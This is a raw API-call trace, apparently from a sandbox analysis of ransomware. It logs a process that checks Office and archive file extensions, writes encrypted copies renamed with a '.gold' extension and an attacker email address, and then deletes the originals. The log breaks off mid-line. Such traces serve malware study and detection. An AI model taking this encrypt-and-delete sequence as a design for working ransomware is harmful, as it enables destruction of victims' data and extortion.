lstrlenW (lpString=".ppt") returned 4 [0108.142] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0108.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.142] lstrlenW (lpString=".zip") returned 4 [0108.142] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0108.142] lstrlenW (lpString=".rar") returned 4 [0108.142] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0108.142] lstrlenW (lpString=".bz2") returned 4 [0108.142] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0108.142] lstrlenW (lpString=".7z") returned 3 [0108.142] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0108.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.142] lstrlenW (lpString=".dbf") returned 4 [0108.142] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0108.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.142] lstrlenW (lpString=".1cd") returned 4 [0108.142] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0108.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.142] lstrlenW (lpString=".jpg") returned 4 [0108.142] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0108.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.142] lstrlenW (lpString=".doc") returned 4 [0108.142] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0108.142] lstrlenW (lpString=".docx") returned 5 [0108.142] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0108.142] lstrlenW (lpString=".pdf") returned 4 [0108.142] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0108.142] lstrlenW (lpString=".xls") returned 4 [0108.142] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0108.142] lstrlenW (lpString=".xlsx") returned 5 [0108.142] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0108.142] lstrlenW (lpString=".ppt") returned 4 [0108.142] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0108.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.142] lstrlenW (lpString=".zip") returned 4 [0108.142] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0108.142] lstrlenW (lpString=".rar") returned 4 [0108.142] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0108.143] lstrlenW (lpString=".bz2") returned 4 [0108.143] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0108.143] lstrlenW (lpString=".7z") returned 3 [0108.143] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0108.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.143] lstrlenW (lpString=".dbf") returned 4 [0108.143] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0108.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.143] lstrlenW (lpString=".1cd") returned 4 [0108.143] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0108.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0108.143] lstrlenW (lpString=".jpg") returned 4 [0108.143] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0108.143] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0108.143] lstrlenW (lpString="WINPROJ.DEV_COL.HXC") returned 19 [0108.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.143] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=651) returned 1 [0108.143] CloseHandle (hObject=0x364) returned 1 [0108.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc")) returned 0x20 [0108.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.144] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.144] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0108.145] GetLastError () returned 0x0 [0108.145] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x28b, lpOverlapped=0x0) returned 1 [0108.460] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x290, lpOverlapped=0x0) returned 1 [0108.461] ReadFile (in: hFile=0x364, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.461] WriteFile (in: hFile=0x394, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0108.461] SetEndOfFile (hFile=0x394) returned 1 [0108.461] CloseHandle (hObject=0x394) returned 1 [0108.461] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.461] SetEndOfFile (hFile=0x364) returned 1 [0108.463] CloseHandle (hObject=0x364) returned 1 [0108.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc")) returned 1 [0108.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.464] lstrlenW (lpString=".doc") returned 4 [0108.464] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.464] lstrlenW (lpString=".docx") returned 5 [0108.464] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.464] lstrlenW (lpString=".pdf") returned 4 [0108.464] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.464] lstrlenW (lpString=".xls") returned 4 [0108.464] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.464] lstrlenW (lpString=".xlsx") returned 5 [0108.464] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.464] lstrlenW (lpString=".ppt") returned 4 [0108.464] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.464] lstrlenW (lpString=".zip") returned 4 [0108.464] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.464] lstrlenW (lpString=".rar") returned 4 [0108.464] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.464] lstrlenW (lpString=".bz2") returned 4 [0108.464] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.464] lstrlenW (lpString=".7z") returned 3 [0108.464] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.464] lstrlenW (lpString=".dbf") returned 4 [0108.464] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.464] lstrlenW (lpString=".1cd") returned 4 [0108.464] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.464] lstrlenW (lpString=".jpg") returned 4 [0108.464] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.464] lstrlenW (lpString=".doc") returned 4 [0108.464] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.464] lstrlenW (lpString=".docx") returned 5 [0108.465] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.465] lstrlenW (lpString=".pdf") returned 4 [0108.465] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.465] lstrlenW (lpString=".xls") returned 4 [0108.465] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.465] lstrlenW (lpString=".xlsx") returned 5 [0108.465] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.465] lstrlenW (lpString=".ppt") returned 4 [0108.465] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.465] lstrlenW (lpString=".zip") returned 4 [0108.465] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.465] lstrlenW (lpString=".rar") returned 4 [0108.465] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.465] lstrlenW (lpString=".bz2") returned 4 [0108.465] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.465] lstrlenW (lpString=".7z") returned 3 [0108.465] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.465] lstrlenW (lpString=".dbf") returned 4 [0108.465] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.465] lstrlenW (lpString=".1cd") returned 4 [0108.465] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0108.465] lstrlenW (lpString=".jpg") returned 4 [0108.465] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.465] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0108.465] lstrlenW (lpString="WINPROJ_K_COL.HXK") returned 17 [0108.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.643] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=113) returned 1 [0108.643] CloseHandle (hObject=0x3b4) returned 1 [0108.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk")) returned 0x20 [0108.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.644] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.644] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.644] GetLastError () returned 0x0 [0108.644] ReadFile (in: hFile=0x3b4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x71, lpOverlapped=0x0) returned 1 [0108.645] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0108.646] ReadFile (in: hFile=0x3b4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.646] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0108.646] SetEndOfFile (hFile=0x188) returned 1 [0108.646] CloseHandle (hObject=0x188) returned 1 [0108.646] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.646] SetEndOfFile (hFile=0x3b4) returned 1 [0108.648] CloseHandle (hObject=0x3b4) returned 1 [0108.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk")) returned 1 [0108.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.649] lstrlenW (lpString=".doc") returned 4 [0108.649] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.649] lstrlenW (lpString=".docx") returned 5 [0108.649] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.649] lstrlenW (lpString=".pdf") returned 4 [0108.649] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.649] lstrlenW (lpString=".xls") returned 4 [0108.649] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.649] lstrlenW (lpString=".xlsx") returned 5 [0108.649] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.649] lstrlenW (lpString=".ppt") returned 4 [0108.649] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.649] lstrlenW (lpString=".zip") returned 4 [0108.649] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.649] lstrlenW (lpString=".rar") returned 4 [0108.649] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.649] lstrlenW (lpString=".bz2") returned 4 [0108.649] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.649] lstrlenW (lpString=".7z") returned 3 [0108.649] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.649] lstrlenW (lpString=".dbf") returned 4 [0108.649] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.649] lstrlenW (lpString=".1cd") returned 4 [0108.649] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.649] lstrlenW (lpString=".jpg") returned 4 [0108.649] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.650] lstrlenW (lpString=".doc") returned 4 [0108.650] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.650] lstrlenW (lpString=".docx") returned 5 [0108.650] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.650] lstrlenW (lpString=".pdf") returned 4 [0108.650] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.650] lstrlenW (lpString=".xls") returned 4 [0108.650] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.650] lstrlenW (lpString=".xlsx") returned 5 [0108.650] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.650] lstrlenW (lpString=".ppt") returned 4 [0108.650] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.650] lstrlenW (lpString=".zip") returned 4 [0108.650] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.650] lstrlenW (lpString=".rar") returned 4 [0108.650] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.650] lstrlenW (lpString=".bz2") returned 4 [0108.650] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.650] lstrlenW (lpString=".7z") returned 3 [0108.650] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.650] lstrlenW (lpString=".dbf") returned 4 [0108.650] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.650] lstrlenW (lpString=".1cd") returned 4 [0108.650] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0108.650] lstrlenW (lpString=".jpg") returned 4 [0108.650] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.650] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0108.650] lstrlenW (lpString="WINSCHD.VRD") returned 11 [0108.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0108.960] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1544) returned 1 [0108.960] CloseHandle (hObject=0x3b8) returned 1 [0108.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd")) returned 0x20 [0108.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0108.961] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.961] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0108.987] GetLastError () returned 0x0 [0108.987] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x608, lpOverlapped=0x0) returned 1 [0109.008] WriteFile (in: hFile=0x3c8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x610, lpOverlapped=0x0) returned 1 [0109.009] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.009] WriteFile (in: hFile=0x3c8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0109.009] SetEndOfFile (hFile=0x3c8) returned 1 [0109.009] CloseHandle (hObject=0x3c8) returned 1 [0109.009] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.009] SetEndOfFile (hFile=0x3b8) returned 1 [0109.011] CloseHandle (hObject=0x3b8) returned 1 [0109.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd")) returned 1 [0109.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.012] lstrlenW (lpString=".doc") returned 4 [0109.012] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0109.012] lstrlenW (lpString=".docx") returned 5 [0109.012] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0109.012] lstrlenW (lpString=".pdf") returned 4 [0109.012] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0109.012] lstrlenW (lpString=".xls") returned 4 [0109.012] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0109.012] lstrlenW (lpString=".xlsx") returned 5 [0109.012] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0109.012] lstrlenW (lpString=".ppt") returned 4 [0109.012] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0109.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.012] lstrlenW (lpString=".zip") returned 4 [0109.012] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0109.012] lstrlenW (lpString=".rar") returned 4 [0109.012] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0109.012] lstrlenW (lpString=".bz2") returned 4 [0109.012] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0109.012] lstrlenW (lpString=".7z") returned 3 [0109.012] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0109.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0109.012] lstrlenW (lpString=".dbf") returned 4 [0109.012] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0109.012] lstrlenW (lpString="C:\\Program Files\\Microsoft 